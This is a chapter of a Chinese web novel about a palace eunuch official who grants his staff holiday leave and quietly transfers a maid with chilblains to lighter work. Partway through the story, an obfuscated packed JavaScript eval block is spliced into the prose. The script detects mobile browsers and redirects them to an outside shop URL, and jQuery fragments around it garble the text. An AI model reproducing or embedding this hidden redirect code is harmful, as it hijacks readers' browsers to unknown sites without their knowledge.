既然元旦大典的筹备,仪程,宴飨自有光禄寺,司礼监,礼部那些老衙门按祖宗成例操持,用不着他这个新立的内缉事厂指手画脚,事实上,那些衙门也巴不得他滚得越远越好。
关禧便也乐得清闲。
他骨子里终究不是个彻头彻尾的古代宫廷太监。那点属于现代人的灵魂碎片,在确认暂时无事,皇帝也默许放假的间隙,便冒了出来。
当牛马的苦,他太懂了。前世卷生卷死的晚自习,这辈子在停尸房醒来后一路的刀尖行走,本质上都是某种形式的牛马。将心比心,他手下这几十号刚刚经历立威,盯梢,精神高度紧绷的番役,也是血肉之躯,需要喘口气。
腊月廿三,内缉事厂的值房里,关禧召集了所有在编番役,他穿着那身靛蓝箭袖常服,没披蟒袍,少了些威压,多了几分利落。
“年关将至,宫内大典筹备自有定例,厂里近期的盯梢记录也已呈报陛下。这些日子,诸位辛苦了。”
底下番役们垂手肃立,心里都有些打鼓,不知这位手段莫测的提督又要安排什么新差事。
却听关禧话锋一转:“从明日起,至正月初三,厂内除必要轮值人员外,其余人等,分批休假轮值。名单何掌班会安排。轮休期间,可出宫探亲访友,也可在宫内歇息。每人额外支领一份节赏。”
他顿了顿,补充道:“出宫者,需至何掌班处登记去向、归期,领取出宫腰牌。初四卯时,必须回厂点卯。在外谨言慎行,莫要惹是生非,更不许泄露厂内任何事务。违者,严惩不贷。”
话音落下,值房里先是死寂,随即响起一片极力压抑的抽气声和不敢置信的窃窃私语。
放假?出宫探亲?还有节赏?
这在规矩森严,动辄得咎的宫里,尤其是他们这种新立,盯着无数眼睛的衙门,简直是想都不敢想的事情。许多底层太监入宫多年,与家人音讯断绝,从未想过还有能出去看看的可能,哪怕只是短短几日。
何璋也愣了,看向关禧的眼神充满诧异,但他很快反应过来,连忙躬身:“督主体恤,奴才等感激不尽!定当严守规矩,不负督主恩典!”
关禧点点头,示意何璋将准备好的,装着银锞子和几串新钱的红色利是封一一分发下去。番役们捏着那颇有分量的红封,感受着里面金属的硌手感,许多人眼眶都红了,扑通跪下,哽咽着谢恩。
关禧没再多说,挥挥手让他们散了。看着那些原本麻木或紧绷的脸上露出真切的欣喜和激动,他心中那点属于关提督的冷硬,也稍稍融化了一角。就当是……发年终奖金和调休吧。能让这些挣扎求生的人,过个稍微像样点的年,也算没白穿这一遭。
厂里留下了包括何璋在内的八人轮值,负责基本的文书传递和门户看守,都是平日表现最稳重,家不在京城的。其余人欢天喜地领了腰牌和赏钱,分批散去。
关禧也给自己放了假。
连着几日,他彻底卸下了关提督的枷锁。身上是舒适的深青色家常棉袍,头发松松用簪子绾着,白天大半时间都窝在自己那处僻静院落的正房里。
炭火烧得足足的,屋内温暖如春。窗边的炕桌上,摆着一副他让双喜从宫外寻来的木质象棋,棋子磨得光滑温润。他就拉着双喜对弈。
双喜起初吓得魂不附体,连连摆手说不敢。
关禧只淡淡道:“不下就出去站着。”
双喜这才战战兢兢坐下,每走一步都斟酌半天,汗流浃背。关禧也不催,慢悠悠地喝着热茶,看着棋盘,偶尔指点两步。他棋艺其实平平,前世也就公园老头水平,但拿来消磨这漫长冬日,足够了。
下累了,就歪在炕上看书,看累了,倒头便睡。睡醒了,双喜或贵平早已备好热腾腾的饭食,虽不比御膳精致,却都是实在可口的家常味道。他胃口也好了些,每餐都能多用半碗饭。
吃完睡,睡醒吃,偶尔下棋看书。没有阴谋算计,没有生死一线的紧张,没有需要时刻揣摩的圣意和太后冰冷的凝视。这偷来的几日闲暇,松散得奢侈,让他有种回到前世某个寒暑假下午的错觉。
只是偶尔,夜深人静时,他会突然惊醒,望着帐顶繁复的纹路,听着窗外寒风呼啸,心脏没来由地重重跳几下。那片刻的恍惚安宁便如潮水般退去,提醒着他身处何方。但很快,睡意再次袭来,将他拖入黑甜梦乡。
腊月廿八,午后。
天气阴沉,看样子又将有一场雪。关禧和双喜照例在炕上摆开棋盘。石安安静地守在门口炭盆边,时不时添炭,确保屋内温暖。
棋局过半,关禧执红,已占了些优势。双喜捏着黑车,眉头紧锁,盯着棋盘苦苦思索。
“督主这马跳得真是……让小的无处可逃了。”双喜愁眉苦脸地嘀咕,手指在棋子光滑的顶上摩挲。
关禧啜了口茶,没说话。
双喜又磨蹭了一会儿,终于落子,却是步明显的缓手。
关禧抬眼看了看他:“心不在焉?”
双喜一惊,手里的棋子差点掉在棋盘上,连忙道:“没、没有!小的不敢!”
“那就是棋艺太臭。”关禧语气平淡,也没追究,只随手走了一步。
双喜松了口气,擦了擦额角的汗。接下来几步,他依旧走得魂不守舍,好几次关禧明明露出破绽,他都视而不见。
又下了片刻,关禧一记“重炮”将军,直接绝杀。
双喜看着棋盘,垮下肩膀。
“说吧,”关禧将棋子一一收回棋盒,“心里揣着什么事,憋了一下午了。”
双喜浑身一僵,扑通就从炕沿滑跪到地上,脸色发白:“督主恕罪!小的、小的不是有意怠慢……”
“没问你罪。”关禧打断他,盖好棋盒,“问你有什么事。趁着我这几日心情好,或许能听一听。”
双喜跪在地上,头埋得低低的,手指用力抠着地砖缝隙,挣扎了好一会儿,才用极小的声音,期期艾艾地开口:“……其实、其实也没什么大事……就是、就是前几日,奴才轮休出宫,在、在北安门附近……偶遇了一个同乡……”
“同乡?”关禧挑了挑眉。
“是、是……”双喜声音更小了,“是个小宫女,在、在承华宫……做些浆洗的粗活……就是那个叫小菊的。”
承华宫?浆洗宫女?关禧“嗯”了一声,示意他继续说。
得了这声“嗯”,双喜像是得了鼓励,话也顺了些,“奴才跟小菊……小时候一个村的,她家就在奴才家隔壁。后来家里遭了灾,走散了,没想到都进了宫……她、她命苦,分的地方不好,活计重,冬天冷水里泡着,手都……都生满了冻疮,又红又肿,有些地方都烂了……”
他说着,声音里带上了真切的心疼和难过。
“奴才看着心里不好受……就、就想着……督主您如今身份不同了,能不能……能不能在承华宫那边,帮着递句话?也不用多好的差事,就是、就是调个稍微轻省点、不用老是碰冷水的活儿……哪怕去花园洒扫呢?奴才、奴才愿意把这次的节赏都拿出来打点……”双喜越说越快,到最后带了哭腔,重重磕下头去,“奴才僭越!奴才该死!督主您就当奴才没说过!”
说完,他便伏在地上,一动不动,肩膀颤抖,显然是怕极了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186982|192226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
屋子里一时只剩下炭火燃烧的毕剥声。
双喜这点心思,关禧哪能听不懂?借着下棋的机会,拐弯抹角地提起承华宫里一个无关紧要的浆洗宫女,诉说她手生冻疮的苦处,最后才小心翼翼地提出,想让他这个从承华宫出来,如今又有几分权势的旧人,帮忙递句话,调个岗位。
说得隐晦,情谊倒是真的。那点节赏,对双喜这样的底层小太监来说,恐怕是一笔不小的财富,他能舍得拿出来,只为给同乡换个稍好点的差事,这份心思,在这人情凉薄的深宫里,也算难得。
承华宫……冯昭仪……楚玉。
这个名字在心头滑过,带来一丝极轻微的涩意。那夜风雪值房中炽热又混乱的纠缠,楚玉最后平静的眼神,以及那句低不可闻的“别负我”,像隔着一层毛玻璃,有些模糊,却又异常清晰地梗在那里。
双喜突然提起承华宫,是巧合,还是……有人借他的口,传递什么讯息?或者,仅仅真的只是一个卑微太监,想为同样卑微的同乡求一点点微不足道的怜悯?
关禧端起茶杯,抿了一口,涩味在舌尖蔓延。
“起来吧。”他开口,声音没什么起伏,“地上凉。”
双喜颤了一下,慢慢抬起头,脸上还带着惊惶的泪痕,不敢起身。
“一个小宫女的调遣,不算什么大事。”关禧放下茶杯,目光落在窗外阴沉的天色上,“承华宫那边,我如今也不便直接插手。不过……”
“你可以去找何璋,就说我说的,让他以厂里需要些手脚勤快、背景清白的杂役帮忙整理档房文书的名义,去内务府派办处要几个人。点名要承华宫浆洗上的小菊。手续走正规,理由充分些。调过来后,安排在档房做些糊裱、除尘的轻省活计,别让她再碰冷水。厂里如今也算有个由头要人,内务府那边,这点面子还是会给的。”
他没提冯昭仪,没提楚玉,完全绕开了承华宫的主子,用的是内缉事厂自身的职权和需求。这样操作,看似绕了弯子,实则更稳妥,不会落人口实,也不会让他与承华宫的关系变得微妙。
双喜听完,眼泪都涌了出来,连连磕头:“谢督主!谢督主大恩!督主您真是活菩萨!小菊、小菊她一定记您一辈子好!”
“行了,”关禧摆摆手,语气平淡,“记住,人调过来,就按厂里的规矩办。你私下照顾些可以,但别太扎眼。更不许对外透露是你求的情,就说是厂里正常要人,凑巧选了她。明白吗?”
“明白!奴才明白!奴才一定把嘴闭得紧紧的!”双喜用力点头,眼泪鼻涕糊了一脸,笑得咧开了嘴。
“出去吧。把石安叫进来收拾棋盘。”关禧重新靠回引枕上,闭上了眼睛。
“是!奴才告退!”双喜抹着眼泪,轻手轻脚地退了出去,不一会儿,石安进来,开始收拾炕桌上的棋盘茶具。
关禧闭着眼,听着石安轻细的脚步声和瓷器碰撞的微响。
小菊……冻疮……承华宫……
冯媛知道吗?楚玉知道吗?还是说,这仅仅是深宫底层两个卑微灵魂之间,一点微不足道的相互取暖?
他帮了这个忙,与其说是被双喜那点笨拙的请求打动,不如说,是给自己心里那点关于承华宫,关于楚玉的莫名挂碍,找一个极其隐晦的宣泄口。仿佛通过帮助一个与承华宫有关的,同样在受苦的微不足道的小宫女,就能稍稍触碰那片已然冰封的领域,告诉自己,有些关联,未曾真正断绝。
窗外,酝酿了一下午的雪,终于纷纷扬扬地落了下来。很快,天地间又是一片混沌的素白。
年关,真的要到了。